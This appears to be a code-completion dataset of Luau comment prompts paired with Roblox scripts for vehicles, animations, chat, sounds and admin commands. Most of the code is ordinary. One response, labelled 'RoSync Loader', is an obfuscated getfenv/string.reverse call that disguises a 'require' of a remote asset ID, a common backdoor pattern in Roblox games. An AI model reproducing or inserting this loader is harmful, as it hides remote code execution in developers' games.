	OR

	DataStoreProfile = {
		GlobalUpdates = {
			update_index,
			{
				{update_id, version_id, update_locked, update_data},
				...
			}
		},
	}
--]]


Prompt: -- KEY SETTINGS

Response:
local Headlights = Enum.KeyCode.U

local RunningLights = Enum.KeyCode.N

local FogLights = Enum.KeyCode.J

local SignalLeft = Enum.KeyCode.Z

local SignalRight = Enum.KeyCode.C

local Hazards = Enum.KeyCode.X

local Popups = Enum.KeyCode.B

local Flash = Enum.KeyCode.L


Response:
local Button = script.Parent.Parent.Mobile.Runs

function runss()
	if Button.ImageTransparency == 0.5
	then

		character.Humanoid.WalkSpeed = NewWalkSpeed
		sprinting = true
		while power > 0 and sprinting do
			power = power - .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 42, 42), 0.001)
			tween:Play()
			wait()
			if power <= 0 then
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end

		Button.ImageTransparency = 0
	elseif Button.ImageTransparency == 0
	then

		character.Humanoid.WalkSpeed = NormalWalkSpeed
		sprinting = false
		while power < 10 and not sprinting do
			power = power + .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)
			tween2:Play()
			wait()
			if power <= 0 then
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end

		Button.ImageTransparency = 0.5
	end
end

Button.MouseButton1Click:connect(runss)


Prompt: --Left Legs

Response:
local LUL = character.LowerTorso:FindFirstChild("LeftHipRigAttachment")
local LULRig = character.LeftUpperLeg:FindFirstChild("LeftHipRigAttachment")
local LLL = character.LeftUpperLeg:FindFirstChild("LeftKneeRigAttachment")
local LLLRig = character.LeftLowerLeg:FindFirstChild("LeftKneeRigAttachment")
local LF = character.LeftLowerLeg:FindFirstChild("LeftAnkleRigAttachment")
local LFRig = character.LeftFoot:FindFirstChild("LeftAnkleRigAttachment")


Prompt:
--[=[
	Makes a new set from the given keys of a table
	@param tab table
	@return table
]=]

Response:
function Set.fromKeys(tab)
	local newSet = {}
	for key, _ in pairs(tab) do
		newSet[key] = true
	end
	return newSet
end


Prompt:
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.

Response:
local FFlagFixChatWindowHoverOver = false do
	local ok, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixChatWindowHoverOver")
	end)
	if ok then
		FFlagFixChatWindowHoverOver = value
	end
end

local FFlagFixMouseCapture = false do
	local ok, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixMouseCapture")
	end)
	if ok then
		FFlagFixMouseCapture = value
	end
end

local FFlagUserHandleChatHotKeyWithContextActionService = false do
	local ok, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService")
	end)
	if ok then
		FFlagUserHandleChatHotKeyWithContextActionService = value
	end
end

local FILTER_MESSAGE_TIMEOUT = 60

local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")
local ContextActionService = game:GetService("ContextActionService")

local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))

local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end

local FFlagUserChatNewMessageLengthCheck2 do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserChatNewMessageLengthCheck2")
	end)
	FFlagUserChatNewMessageLengthCheck2 = success and result
end

local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
	OnNewMessage = "RemoteEvent",
	OnMessageDoneFiltering = "RemoteEvent",
	OnNewSystemMessage = "RemoteEvent",
	OnChannelJoined = "RemoteEvent",
	OnChannelLeft = "RemoteEvent",
	OnMuted = "RemoteEvent",
	OnUnmuted = "RemoteEvent",
	OnMainChannelSet = "RemoteEvent",

	SayMessageRequest = "RemoteEvent",
	GetInitDataRequest = "RemoteFunction",
}


Prompt: -- Connect humanoid health change to update walk speed

Response: humanoid:GetPropertyChangedSignal("Health"):Connect(updateWalkSpeed)


Prompt:
--Module to handle the procedural animation the hip and legs
--remnants from iGottics Code

Response:
local CF			=CFrame.new
local ANGLES		=CFrame.Angles
local x_and_y = Vector3.new(1, 0, 1)
local TAU = 2*math.pi
local DOWN = 10*Vector3.new(0,-1,0)


Prompt: --Zyleak

Response: Button.ProximityPrompt.Triggered:Connect(onClicked)


Prompt:
--!strict
--internal client
--Yuuwa0519
--2022-03-14


Prompt:
--[[
	Constructs ragdoll constraints and flags some limbs so they can't collide with each other
	for stability purposes. After this is finished, it tags the humanoid so the client/server
	ragdoll scripts can listen to StateChanged and disable/enable the rigid Motor6D joints when
	the humanoid enters valid ragdoll states
--]]

Response:
local buildConstraints = require(script:WaitForChild("buildConstraints"))
local buildCollisionFilters = require(script:WaitForChild("buildCollisionFilters"))


Prompt:
--[[
	Initialises the controller, getting the client platform, and then requiring the correct set of view scripts
]]

Response:
function UIController.init()
	local platform = getClientPlatform()
	local platformViews = ReplicatedStorage.Source.UIViews[platform]

	-- Initialise these here, as we need to get the platform of the user.
	views = {
		mainMenu = require(platformViews.MainMenu),
		warmup = require(platformViews.Warmup),
		game = require(platformViews.Game),
		dead = require(platformViews.Dead),
		spectating = require(platformViews.Spectating),
		finished = require(platformViews.Finished),
		postGame = require(platformViews.PostGame)
	}

	UIController.extractStarterGui()

	Logger.debug("UIController loaded")
end


Prompt:
--[=[
	Rounds up to the given precision

	@param number number
	@param precision number
	@return number
]=]

Response:
function Math.roundUp(number: number, precision: number): number
	return math.ceil(number/precision) * precision
end


Prompt: --DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!

Response:
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.GravityRibbon


Prompt: -- Get sound id

Response:
local get_material = function()

	local soundTable = footstepModule:GetTableFromMaterial(humanoid.FloorMaterial)
	local randomSound = footstepModule:GetRandomSound(soundTable)

	return randomSound
end

RunService.RenderStepped:Connect(function(delta)
	if timer > 0 then
		timer -= delta
	end
	if timer < 0 and check_movement() then
		footstepsSound.SoundId = get_material()
		footstepsSound.Parent = nil
		footstepsSound.Parent = rootPart
		timer = 0.5 / ((humanoid.WalkSpeed / 16) * 1.25)
	end
end)


Prompt:
-- Separate the functions to format props, children, and element,
-- so a plugin could override a particular function, if needed.
-- Too bad, so sad: the traditional (but unnecessary) space
-- in a self-closing tagColor requires a second test of printedProps.

Response:
function printElement(
	type_: string,
	printedProps: string,
	printedChildren: string,
	config: Config,
	indentation: string
): string
	-- ROBLOX deviation START: adding default value as we don't support colors
	local colors = config.colors or DEFAULT_COLORS
	local tagColor = colors.tag
	-- ROBLOX deviation END
	return tagColor.open
		.. "<"
		.. type_
		.. (if Boolean.toJSBoolean(printedProps)
			then tagColor.close .. printedProps .. config.spacingOuter .. indentation .. tagColor.open
			else printedProps)
		.. (if Boolean.toJSBoolean(printedChildren)
			then
				">"
				.. tagColor.close
				.. printedChildren
				.. config.spacingOuter
				.. indentation
				.. tagColor.open
				.. "</"
				.. type_
			else (if Boolean.toJSBoolean(printedProps) and not Boolean.toJSBoolean(config.min) then "" else " ") .. "/")
		.. ">"
		.. tagColor.close
end
exports.printElement = printElement

function printElementAsLeaf(type_: string, config: Config): string
	-- ROBLOX deviation START: adding default value as we don't support colors
	local colors = config.colors or DEFAULT_COLORS
	local tagColor = colors.tag
	-- ROBLOX deviation END
	return tagColor.open .. "<" .. type_ .. tagColor.close .. " …" .. tagColor.open .. " />" .. tagColor.close
end
exports.printElementAsLeaf = printElementAsLeaf

return exports


Prompt: -- Instruction: Put in a (Vehicle)Seat.

Response:
wait(0.1)

local seat = script.Parent

function GetPlayerFromWeld( weld )
	if weld.Part1.Name == "HumanoidRootPart" then
		local character = weld.Part1.Parent:findFirstChild("Humanoid")
		if (character) then
			local player = game.Players:GetPlayerFromCharacter(character.Parent)
			if (player) then
				return player
			end
		end
	end
	return nil
end

seat.ChildAdded:connect(function( newChild )
	if newChild:IsA("Weld") then
		local player = GetPlayerFromWeld(newChild)
		if (player) then
			local newGUI = script.SpeedGUI:Clone()
			wait(0.1)
			newGUI.Car.Value = seat
			newGUI.Parent = player.PlayerGui
		end
	end
end)

seat.ChildRemoved:connect(function( oldChild )
	if oldChild:IsA("Weld") then
		local player = GetPlayerFromWeld( oldChild )
		if player then
			if player.PlayerGui:findFirstChild("SpeedGUI") then
				player.PlayerGui.SpeedGUI:Destroy()
			end
		end
	end
end)


Prompt: -- Controls mod

Response:
local Controls = require(controlModule)

function Controls:IsJumping()
	if self.activeController then
		return self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping())
	end
	return false
end


Prompt: --Thanks for this, Zeph. Hope you don't mind that I essentially stole this :P

Response:
local IntWait = 0.01
local MD = script.Parent.WPR.SS.Motor
local MD2 = script.Parent.WPR2.SS.Motor

while true do
	wait()
	if script.Parent.DriveSeat.Wipers.Value == true then
		if MD.CurrentAngle == 0  then
			wait(IntWait)
			MD.DesiredAngle = -1.31
			MD2.DesiredAngle = -1.31
		elseif MD.CurrentAngle < -1.3 then
			MD.DesiredAngle = 0
			MD2.DesiredAngle = 0
		end
	end
end


Response:
function onClicked()
R.Function1.Disabled = true
FX.CRUSH.BrickColor = BrickColor.new("Really red")
FX.CRUSH.loop.Disabled = true

FX.JET.BrickColor = BrickColor.new("Really red")
FX.JET.loop.Disabled = true

FX.HPF.BrickColor = BrickColor.new("Really red")
FX.HPF.loop.Disabled = true

FX.NOISE.BrickColor = BrickColor.new("Really red")
FX.NOISE.loop.Disabled = true

FX.ZIP.BrickColor = BrickColor.new("Really red")
FX.ZIP.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt:
-- LIGHT SETTINGS
--[[
	LIGHT TYPES:
		- Halogen
		- LED
]]

Response:
--

local Low_Beam_Brightness = 2.28

local High_Beam_Brightness = 3.18

local Fog_Light_Brightness = 0.73

local Rear_Light_Brightness = 1.53

local Brake_Light_Brightness = 2.53

local Reverse_Light_Brightness = 1.03

local Headlight_Type = "Halogen"

local Indicator_Type = "Halogen"

local Fog_Light_Type = "Halogen"

local Plate_Light_Type = "Halogen"

local Rear_Light_Type = "Halogen"

local Reverse_Light_Type = "Halogen"

local Running_Light_Location = "Custom DRL" -- Where your running lights will luminate. ("Low Beam / Indicators" and "Low Beam".  LED DRLS or any DRL in a differnet position go in the Running model, change the string to "Custom DRL")

local CustomDRL_Type = "LED"

local Fade_Time = 0.10 -- How long it takes for the light to fully turn on. (works only with Halogen, default is 0.35 seconds)

local Indicator_Flash_Rate = 0.3 -- Rate of change between each indicator state. (in seconds)

local Popup_Hinge_Angle = -0.75 -- Changes the angle of your popup headlights. (only use if your car has popups)


Prompt: --Messages

Response: local DeathMessages = {"has just died during x-ray"} --you can add more if you like :D


Prompt: --Fallout tactics gets too hard when you start fighting muties...

Response:
if string.sub(msg,1,8) == "respawn/" then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
local ack2 = Instance.new("Model")
ack2.Parent = game.Workspace
local ack4 = Instance.new("Part")
ack4.Transparency = 1
ack4.CanCollide = false
ack4.Anchored = true
ack4.Name = "Torso"
ack4.Position = Vector3.new(10000,10000,10000)
ack4.Parent = ack2
local ack3 = Instance.new("Humanoid")
ack3.Torso = ack4
ack3.Parent = ack2
player[i].Character = ack2
end end end

if string.sub(msg,1,10) == "invisible/" then
local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Hat" then
local handle = c[i]:FindFirstChild("Handle")
if handle ~= nil then
handle.Transparency = 1 --We dont want our hats to give off our position, do we?
end end
if c[i].className == "Part" then
c[i].Transparency = 1
if c[i].Name == "Torso" then
local tshirt = c[i]:FindFirstChild("roblox")
if tshirt ~= nil then
tshirt:clone().Parent = char
tshirt:remove()
end end
if c[i].Name == "Head" then
local face = c[i]:FindFirstChild("face")
if face ~= nil then
gface = face:clone()
face:remove()
end end end end end end end end

if string.sub(msg,1,8) == "visible/" then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Hat" then
local handle = c[i]:FindFirstChild("Handle")
if handle ~= nil then
handle.Transparency = 0
end end
if c[i].className == "Part" then
c[i].Transparency = 0
if c[i].Name == "Torso" then
local tshirt = char:FindFirstChild("roblox")
if tshirt ~= nil then
tshirt:clone().Parent = c[i]
tshirt:remove()
end end
if c[i].Name == "Head" then
if gface ~= nil then
local face = gface:clone()
face.Parent = c[i]
end end end end end end end end

if string.sub(msg,1,7) == "freeze/" then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = 0
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Anchored = true
c[i].Reflectance = 0.6
end end end end end end

if string.sub(msg,1,5) == "thaw/" then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = 16
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Anchored = false
c[i].Reflectance = 0
end end end end end end


Prompt: --[[ Last synced 10/10/2022 07:16 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt:
--[[
	Formats the target index string that is used to keep track of which index we are currently navigating to.
]]

Response:
modules.formatTargetIndex = function()
	return function(index, offset)
		return string.format("%s_%s", index, offset)
	end
end


Prompt:
--[[ReadMe*
	Please improve upon this script as needed, I'm a noob scripter and I only script
	through ways I know that work. This loop works, so I'm happy with it. But please,
	edit as you may.

	This model uses MeshParts to animate the flag. The previous frame turns transparent
	while the next frame becomes visible.

	If you would like to use your own custom flag, for your ROBLOX group or country,
	select all the children in the "Flag" model and paste in a ROBLOX decal asset in
	the "TextureID" slot. If you receive an error, try subtracting 1 from the decal id.

		http://www.roblox.com/asset/?id=129395425{decal id}
		rbxassetid://{decal id}

	Any ROBLOX decal in the Developers Library will work, or you may upload your own
	flag decal to insert in. Rectangular decals are recommended for this flag.
		*If you use a decal with a transparent background in the MeshPart's TextureID,
		the transparent background will default to black. Instead, insert the actual
		decal into every MeshPart in "Flag." This will allow you to change the BrickColor
		of the flag with the decal on top.

	The flags have been UV mapped to flip the flag design on the other side.
		e.g. You won't see the blue box of the United States flag on the other side
			 of the flag on its end, but close to the pole for both sides.

	Thank you and have a wonderful day.
	(MeshParts rendered using Blender)
--]]

Response:
sp=script.Parent
flag=sp.Flag

reset=function()
	for _,meshpart in pairs (flag:GetChildren()) do
		if meshpart:IsA("MeshPart") then
			meshpart.Transparency=1
		end
	end
end

waittime=.04 --Time between each "Frame"

while true do
	wait(waittime)
	reset()
	flag["2"].Transparency=0
	wait(waittime)
	reset()
	flag["3"].Transparency=0
	wait(waittime)
	reset()
	flag["4"].Transparency=0
	wait(waittime)
	reset()
	flag["5"].Transparency=0
	wait(waittime)
	reset()
	flag["6"].Transparency=0
	wait(waittime)
	reset()
	flag["7"].Transparency=0
	wait(waittime)
	reset()
	flag["8"].Transparency=0
	wait(waittime)
	reset()
	flag["9"].Transparency=0
	wait(waittime)
	reset()
	flag["10"].Transparency=0
	wait(waittime)
	reset()
	flag["11"].Transparency=0
	wait(waittime)
	reset()
	flag["12"].Transparency=0
	wait(waittime)
	reset()
	flag["13"].Transparency=0
	wait(waittime)
	reset()
	flag["14"].Transparency=0
	wait(waittime)
	reset()
	flag["15"].Transparency=0
	wait(waittime)
	reset()
	flag["16"].Transparency=0
	wait(waittime)
	reset()
	flag["1"].Transparency=0
end


Prompt: -- map a value from one range to another

Response:
local function map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number
	return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end

local function playSound(sound: Sound)
	sound.TimePosition = 0
	sound.Playing = true
end

local function shallowCopy(t)
	local out = {}
	for k, v in pairs(t) do
		out[k] = v
	end
	return out
end

local function initializeSoundSystem(instances)
	local player = instances.player
	local humanoid = instances.humanoid
	local rootPart = instances.rootPart

	local sounds: {[string]: Sound} = {}

	-- initialize sounds
	for name: string, props: {[string]: any} in pairs(SOUND_DATA) do
		local sound: Sound = Instance.new("Sound")
		sound.Name = name

		-- set default values
		sound.Archivable = false
		sound.RollOffMinDistance = 5
		sound.RollOffMaxDistance = 150
		sound.Volume = 0.65

		for propName, propValue: any in pairs(props) do
			(sound :: any)[propName] = propValue
		end

		sound.Parent = rootPart
		sounds[name] = sound
	end

	local playingLoopedSounds: {[Sound]: boolean?} = {}

	local function stopPlayingLoopedSounds(except: Sound?)
		for sound in pairs(shallowCopy(playingLoopedSounds)) do
			if sound ~= except then
				sound.Playing = false
				playingLoopedSounds[sound] = nil
			end
		end
	end

	-- state transition callbacks.
	local stateTransitions: {[Enum.HumanoidStateType]: () -> ()} = {
		[Enum.HumanoidStateType.FallingDown] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.GettingUp] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.GettingUp)
		end,

		[Enum.HumanoidStateType.Jumping] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Jumping)
		end,

		[Enum.HumanoidStateType.Swimming] = function()
			local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)
			if verticalSpeed > 0.1 then
				sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
				playSound(sounds.Splash)
			end
			stopPlayingLoopedSounds(sounds.Swimming)
			sounds.Swimming.Playing = true
			playingLoopedSounds[sounds.Swimming] = true
		end,

		[Enum.HumanoidStateType.Freefall] = function()
			sounds.FreeFalling.Volume = 0
			stopPlayingLoopedSounds(sounds.FreeFalling)
			playingLoopedSounds[sounds.FreeFalling] = true
		end,

		[Enum.HumanoidStateType.Landed] = function()
			stopPlayingLoopedSounds()
			local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)
			if verticalSpeed > 75 then
				sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
				playSound(sounds.Landing)
			end
		end,

		[Enum.HumanoidStateType.Running] = function()
			stopPlayingLoopedSounds(sounds.Running)
			sounds.Running.Playing = true
			playingLoopedSounds[sounds.Running] = true
		end,

		[Enum.HumanoidStateType.Climbing] = function()
			local sound = sounds.Climbing
			if math.abs(rootPart.AssemblyLinearVelocity.Y) > 0.1 then
				sound.Playing = true
				stopPlayingLoopedSounds(sound)
			else
				stopPlayingLoopedSounds()
			end
			playingLoopedSounds[sound] = true
		end,

		[Enum.HumanoidStateType.Seated] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.Dead] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Died)
		end,
	}

	-- updaters for looped sounds
	local loopedSoundUpdaters: {[Sound]: (number, Sound, Vector3) -> ()} = {
		[sounds.Climbing] = function(dt: number, sound: Sound, vel: Vector3)
			sound.Playing = vel.Magnitude > 0.1
		end,

		[sounds.FreeFalling] = function(dt: number, sound: Sound, vel: Vector3): ()
			if vel.Magnitude > 75 then
				sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
			else
				sound.Volume = 0
			end
		end,

		[sounds.Running] = function(dt: number, sound: Sound, vel: Vector3)
			sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5
		end,
	}

	-- state substitutions to avoid duplicating entries in the state table
	local stateRemap: {[Enum.HumanoidStateType]: Enum.HumanoidStateType} = {
		[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
	}

	local activeState: Enum.HumanoidStateType = stateRemap[humanoid:GetState()] or humanoid:GetState()

	local function transitionTo(state)
		local transitionFunc: () -> () = stateTransitions[state]

		if transitionFunc then
			transitionFunc()
		end

		activeState = state
	end

	transitionTo(activeState)

	local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
		state = stateRemap[state] or state

		if state ~= activeState then
			transitionTo(state)
		end
	end)

	local steppedConn = RunService.Stepped:Connect(function(_, worldDt: number)
		-- update looped sounds on stepped
		for sound in pairs(playingLoopedSounds) do
			local updater: (number, Sound, Vector3) -> () = loopedSoundUpdaters[sound]

			if updater then
				updater(worldDt, sound, rootPart.AssemblyLinearVelocity)
			end
		end
	end)

	local function terminate()
		stateChangedConn:Disconnect()
		steppedConn:Disconnect()

		-- Unparent all sounds and empty sounds table
		-- This is needed in order to support the case where initializeSoundSystem might be called more than once for the same player,
		-- which might happen in case player character is unparented and parented back on server and reset-children mechanism is active.
		for name: string, sound: Sound in pairs(sounds) do
			sound:Destroy()
		end
		table.clear(sounds)
	end

	return terminate
end

local binding = AtomicBinding.new({
	humanoid = "Humanoid",
	rootPart = "HumanoidRootPart",
}, initializeSoundSystem)

local playerConnections = {}

local function characterAdded(character)
	binding:bindRoot(character)
end

local function characterRemoving(character)
	binding:unbindRoot(character)
end

local function playerAdded(player: Player)
	local connections = playerConnections[player]
	if not connections then
		connections = {}
		playerConnections[player] = connections
	end

	if player.Character then
		characterAdded(player.Character)
	end
	table.insert(connections, player.CharacterAdded:Connect(characterAdded))
	table.insert(connections, player.CharacterRemoving:Connect(characterRemoving))
end

local function playerRemoving(player: Player)
	local connections = playerConnections[player]
	if connections then
		for _, conn in ipairs(connections) do
			conn:Disconnect()
		end
		playerConnections[player] = nil
	end

	if player.Character then
		characterRemoving(player.Character)
	end
end

for _, player in ipairs(Players:GetPlayers()) do
	task.spawn(playerAdded, player)
end
Players.PlayerAdded:Connect(playerAdded)
Players.PlayerRemoving:Connect(playerRemoving)


Prompt: --		print(animName .. " " .. idx .. " [" .. origRoll .. "]")

Response:
		local anim = animTable[animName][idx].anim

		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
	end
end


Prompt: -- ROBLOX deviation: replaced most get methods to reduce code repetition

Response:
local function getOption(options: OptionsReceived?, opt): any
	if options and options[opt] ~= nil then
		return options[opt]
	end
	return DEFAULT_OPTIONS[opt]
end

local function getIndent(options: OptionsReceived?)
	if options and options.min then
		return ""
	end
	local number = DEFAULT_OPTIONS.indent
	if options and options.indent ~= nil then
		number = options.indent
	end
	return createIndent(number)
end

local function getSpacingInner(options: OptionsReceived?)
	if options and options.min then
		return " "
	end
	return "\n"
end

local function getSpacingOuter(options: OptionsReceived?)
	if options and options.min then
		return ""
	end
	return "\n"
end


Prompt: --Declare some variables

Response:
CamOffset = Vector3.new(0,3,0)
Sensitivity = UserSettings().GameSettings.MouseSensitivity
MaxLook = 89
FPSLock = Enum.KeyCode.F


Prompt: -- ROBLOX FIXME: Can we define ClientChatModules statically in the project config

Response:
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} end

if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
	function ChatLocalization:FormatMessageToSend(key,default) return default end
end

local function EnterTimeIntoLog(tbl)
	table.insert(tbl, tick() + decayTimePeriod)
end

local function Run(ChatService)
	local function FloodDetectionProcessCommandsFunction(speakerName, message, channel)
		if (whitelistedSpeakers[speakerName]) then return false end

		local speakerObj = ChatService:GetSpeaker(speakerName)
		if (not speakerObj) then return false end
		if (chatBotsBypassFloodCheck and not speakerObj:GetPlayer()) then return false end

		if (not floodCheckTable[speakerName]) then
			floodCheckTable[speakerName] = {}
		end

		local t = nil

		if (doFloodCheckByChannel) then
			if (not floodCheckTable[speakerName][channel]) then
				floodCheckTable[speakerName][channel] = {}
			end

			t = floodCheckTable[speakerName][channel]
		else
			t = floodCheckTable[speakerName]
		end

		local now = tick()
		while (#t > 0 and t[1] < now) do
			table.remove(t, 1)
		end

		if (#t < numberMessagesAllowed) then
			EnterTimeIntoLog(t)
			return false
		else

			local timeDiff = math.ceil(t[1] - now)

			if (informSpeakersOfWaitTimes) then
				local msg = ChatLocalization:FormatMessageToSend("GameChat_ChatFloodDetector_MessageDisplaySeconds",
					string.format("You must wait %d %s before sending another message!", timeDiff, (timeDiff > 1) and "seconds" or "second"),
					"RBX_NUMBER",
					tostring(timeDiff)
				)
				speakerObj:SendSystemMessage(msg, channel)
			else
				speakerObj:SendSystemMessage(
					ChatLocalization:FormatMessageToSend(
						"GameChat_ChatFloodDetector_Message",
						"You must wait before sending another message!"
					)
				,channel)
			end

			return true
		end
	end

	ChatService:RegisterProcessCommandsFunction("flood_detection", FloodDetectionProcessCommandsFunction, ChatConstants.LowPriority)

	ChatService.SpeakerRemoved:connect(function(speakerName)
		floodCheckTable[speakerName] = nil
	end)
end

return Run


Prompt: -- Pre Show Venue

Response:
local scene = script.Parent
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local CollectionService = game:GetService("CollectionService")

local EventSequencer = require(ReplicatedStorage:WaitForChild("EventSequencer"))
local CountdownTimersModule = require(ReplicatedStorage:WaitForChild("ClientCountdownModule"))
local FullScreenModule = require(ReplicatedStorage:WaitForChild("FullscreenModule"))
local MerchBooth = require(ReplicatedStorage:WaitForChild("MerchBooth"))
local FriendsLocator = require(ReplicatedStorage:WaitForChild("FriendsLocator"))
local BouncePlatforms = require(ReplicatedStorage:WaitForChild("BouncePlatforms"))

local localPlayer = game:GetService("Players").LocalPlayer

local Schema = EventSequencer.createSchema()

local Environment = nil
local ServerEnvironment = nil
local timer = nil
local timePositionObject = nil
local screenPart = nil

function setFriendsLocatorEnabled(enabled)
	FriendsLocator.configure({
		showAllPlayers = RunService:IsStudio(), -- Shows all players when testing, but only friends when live.
		thresholdDistance = enabled and 100 or math.huge, -- Locators will not show up if
	})
end

function enableBouncyPads()
	for _, part in pairs(CollectionService:GetTagged("Bouncy")) do
		BouncePlatforms.new(part, {
			debounce = 0.2,
			bounceVector = Vector3.new(0, 1, 0),
			bounceForce = 150,
		})
	end
	BouncePlatforms:enable()
end

function getTimeLengthRemaining()
	-- We wait 5 seconds because of eventSequencer's roughly 5 second grace period to load a scene before orchestrating
	return scene:GetAttribute("TimeLength") - timePositionObject.Value - 5
end

function updateTimerDate()
	if timePositionObject and timer then
		timer.UniversalEventDate = DateTime.fromUnixTimestamp(DateTime.now().UnixTimestamp + getTimeLengthRemaining())
	end
end

Schema.OnSetup = function(timePositionObjectParam)
	timePositionObject = timePositionObjectParam
	Environment = EventSequencer.getCurrentSceneEnvironment()
	ServerEnvironment = EventSequencer.getCurrentServerEnvironmentFromClient()

	if not MerchBooth.isMerchBoothEnabled() then
		MerchBooth.setEnabled(true)
	end

	screenPart = ServerEnvironment:WaitForChild("Stage"):WaitForChild("Display"):WaitForChild("CountdownBoardPart")
	FullScreenModule.CreateButtonToFocusScreen(screenPart)

	setFriendsLocatorEnabled(true)

	enableBouncyPads()

	local countdownTimerGUI = localPlayer:WaitForChild("PlayerGui"):WaitForChild("CountdownTimerGUI")
	local bubbleTimerUI = countdownTimerGUI:WaitForChild("TopFrameUI"):WaitForChild("TimerBubbleUI")
	local boardTimerUI = screenPart:WaitForChild("SurfaceGui"):WaitForChild("TimerScreenUI")

	timer = CountdownTimersModule:AddTimer({
		Enabled = false,
		UniversalEventDate = DateTime.fromUnixTimestamp(DateTime.now().UnixTimestamp + getTimeLengthRemaining()),
		BubbleTimerUI = bubbleTimerUI,
		BoardTimerUI = boardTimerUI,
		DisableBubbleWhenBoardVisible = true,
	})
end

Schema.OnRun = function()
	if timer then
		updateTimerDate()
		timer.Enabled = true
	end

	local zoomInOnCountdown = Schema:schedule({ -- Force focus the screen for final countdown
		StartTimes = { scene:GetAttribute("TimeLength") - 10 },
		OnStart = function()
			FullScreenModule.RemoveButton()
			if screenPart and screenPart.Parent then
				FullScreenModule.FocusScreen(screenPart)
			end
		end,
	})
end

Schema.OnEndScene = function()
	-- Disable all of these scene specific things

	if timer then
		timer.Enabled = false
